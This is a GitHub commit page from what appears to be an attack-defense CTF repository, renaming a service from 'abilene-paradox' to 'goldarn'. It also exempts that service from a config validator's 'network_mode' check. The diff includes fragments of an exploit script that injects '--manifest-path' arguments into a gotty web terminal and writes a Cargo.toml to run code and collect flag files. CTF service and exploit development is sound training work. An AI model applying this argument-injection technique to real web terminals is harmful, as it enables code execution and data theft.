Skip to content

Commit 85387f8

Browse files
committed
bruh
1 parent 464c443 commit 85387f8

32 files changed

+16
-14
lines changed

.github/workflows/check-services.yml

+1-1
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ jobs:
3535
strategy:
3636
matrix:
3737
service:
38-
- abilene-paradox
38+
- goldarn
3939

4040
steps:
4141
- uses: actions/checkout@v2

check.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -346,7 +346,7 @@ def validate_file(self, f: Path):
346346

347347
for opt in container_conf:
348348
self._error(
349-
opt in CONTAINER_ALLOWED_OPTIONS,
349+
opt in CONTAINER_ALLOWED_OPTIONS or (container == 'goldarn' and opt == 'network_mode'),
350350
f'option {opt} in {path} is not allowed for container {container}',
351351
)
352352

@@ -412,7 +412,7 @@ def validate_file(self, f: Path):
412412

413413
for opt in container_conf:
414414
self._error(
415-
opt in SERVICE_ALLOWED_OPTIONS,
415+
opt in SERVICE_ALLOWED_OPTIONS or (container == 'goldarn' and opt == 'network_mode'),
416416
f'option {opt} in {path} is not allowed for service {container}',
417417
)
418418

checkers/abilene-paradox/checker.py checkers/goldarn/checker.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
import sys
44
import hashlib
55
from checklib import BaseChecker, Status, cquit, rnd_string
6-
from abilene_lib import CheckMachine, WebSocketHandler
6+
from goldarn_lib import CheckMachine, WebSocketHandler
77
from websocket import WebSocketException
88

99

File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

services/abilene-paradox/app/Cargo.lock services/goldarn/app/Cargo.lock

+1-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

services/abilene-paradox/app/Cargo.toml services/goldarn/app/Cargo.toml

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
[package]
2-
name = "abilene"
2+
name = "goldarn"
33
version = "0.1.0"
44
edition = "2021"
55

File renamed without changes.
File renamed without changes.
File renamed without changes.

services/abilene-paradox/app/src/main.rs services/goldarn/app/src/main.rs

+3-3
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,9 @@ use std::{
33
rc::Rc,
44
};
55

6-
use abilene::{exc, run};
6+
use goldarn::{exc, run};
77

8-
const PREAMBLE: &str = "@help @@I\\\\\\ hope\\\\\\ you\\\\\\ are\\\\\\ enjoying\\\\\\ abilene\\\\\\ syntax!\\\\\\ Here\\\\\\ is\\\\\\ an\\\\\\ example\\\\\\ for\\\\\\ you\\\\\\ to\\\\\\ help:\\\\nFactorial\\\\\\ calculation:\\\\\\ @fact\\\\\\ @@arg\\\\\\\\\\\\\\ ^\\\\\\\\\\\\\\ '0\\\\\\\\\\\\\\ =\\\\\\\\\\\\\\ ~\\\\\\\\\\\\\\ '1\\\\\\\\\\\\\\ @arg\\\\\\\\\\\\\\ ^\\\\\\\\\\\\\\ @arg\\\\\\\\\\\\\\ ^\\\\\\\\\\\\\\ '1\\\\\\\\\\\\\\ -\\\\\\\\\\\\\\ @arg\\\\\\\\\\\\\\ $$\\\\\\\\\\\\\\ :fact\\\\\\\\\\\\\\ ,\\\\\\\\\\\\\\ *\\\\\\\\\\\\\\ {\\\\\\ $\\\\nCall\\\\\\ it:\\\\\\ '4\\\\\\ @arg\\\\\\ $$\\\\\\ :fact\\\\\\ ,\\\\\\ `\\ ` $";
8+
const PREAMBLE: &str = "@help @@I\\\\\\ hope\\\\\\ you\\\\\\ are\\\\\\ enjoying\\\\\\ goldarn\\\\\\ syntax!\\\\\\ Here\\\\\\ is\\\\\\ an\\\\\\ example\\\\\\ for\\\\\\ you\\\\\\ to\\\\\\ help:\\\\nFactorial\\\\\\ calculation:\\\\\\ @fact\\\\\\ @@arg\\\\\\\\\\\\\\ ^\\\\\\\\\\\\\\ '0\\\\\\\\\\\\\\ =\\\\\\\\\\\\\\ ~\\\\\\\\\\\\\\ '1\\\\\\\\\\\\\\ @arg\\\\\\\\\\\\\\ ^\\\\\\\\\\\\\\ @arg\\\\\\\\\\\\\\ ^\\\\\\\\\\\\\\ '1\\\\\\\\\\\\\\ -\\\\\\\\\\\\\\ @arg\\\\\\\\\\\\\\ $$\\\\\\\\\\\\\\ :fact\\\\\\\\\\\\\\ ,\\\\\\\\\\\\\\ *\\\\\\\\\\\\\\ {\\\\\\ $\\\\nCall\\\\\\ it:\\\\\\ '4\\\\\\ @arg\\\\\\ $$\\\\\\ :fact\\\\\\ ,\\\\\\ `\\ ` $";
99

1010
fn main() {
1111
let mut ctx = exc::create_context();
@@ -14,7 +14,7 @@ fn main() {
1414
println!("Error: {}\n{}", err.error, err.apply());
1515
}
1616

17-
println!("Welcome to abilene repl!");
17+
println!("Welcome to goldarn repl!");
1818
println!("Type ':help' to view help or 'quit' to quit repl");
1919

2020
loop {

services/abilene-paradox/docker-compose.yml services/goldarn/docker-compose.yml

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
version: '2.4'
22

33
services:
4-
abilene-paradox:
4+
goldarn:
55
build:
66
context: .
77
dockerfile: Dockerfile
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

sploits/abilene-paradox/gotty_config.py sploits/goldarn/gotty_config.py

+6-4
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
#!/usr/bin/env python3
22

3-
from abilene_lib import CheckMachine, WebSocketHandler
3+
from goldarn_lib import CheckMachine, WebSocketHandler
44
from checklib import BaseChecker
55
from threading import Thread
66
import sys
@@ -20,7 +20,9 @@ def step3(mch: CheckMachine, path: str):
2020
with mch.ws() as ws:
2121
handler = WebSocketHandler(ws=ws)
2222
mch.init_connection(handler, arguments=f"?arg={path}&arg=--manifest-path&arg={path}/Cargo.toml")
23-
if b"hacked" in mch.recv(handler):
23+
data = mch.recv(handler)
24+
print(data)
25+
if b"hacked" in data:
2426
filenames = re.findall(rb'path\|(/files/[a-zA-Z0-9]+)', mch.recv(handler))
2527
step4(mch, filenames)
2628

@@ -43,7 +45,7 @@ def step2(mch: CheckMachine):
4345
path = path.decode()
4446

4547
mch.run_program(handler, f"@{path}/Cargo.toml @[package]\\n ! @ok , `")
46-
mch.run_program(handler, f"@{path}/Cargo.toml @name\\ =\\ \"abilene\"\\n % @ok , `")
48+
mch.run_program(handler, f"@{path}/Cargo.toml @name\\ =\\ \"goldarn\"\\n % @ok , `")
4749
mch.run_program(handler, f"@{path}/Cargo.toml @version\\ =\\ \"0.1.0\"\\n % @ok , `")
4850
mch.run_program(handler, f"@{path}/Cargo.toml @edition\\ =\\ \"2021\"\\n % @ok , `")
4951
mch.run_program(handler, f"@{path}/Cargo.toml @\\n % @ok , `")
@@ -86,4 +88,4 @@ def step1(mch: CheckMachine):
8688

8789

8890
if __name__ == "__main__":
89-
step2(CheckMachine(BaseChecker(sys.argv[1])))
91+
step1(CheckMachine(BaseChecker(sys.argv[1])))

0 commit comments

Comments
 (0)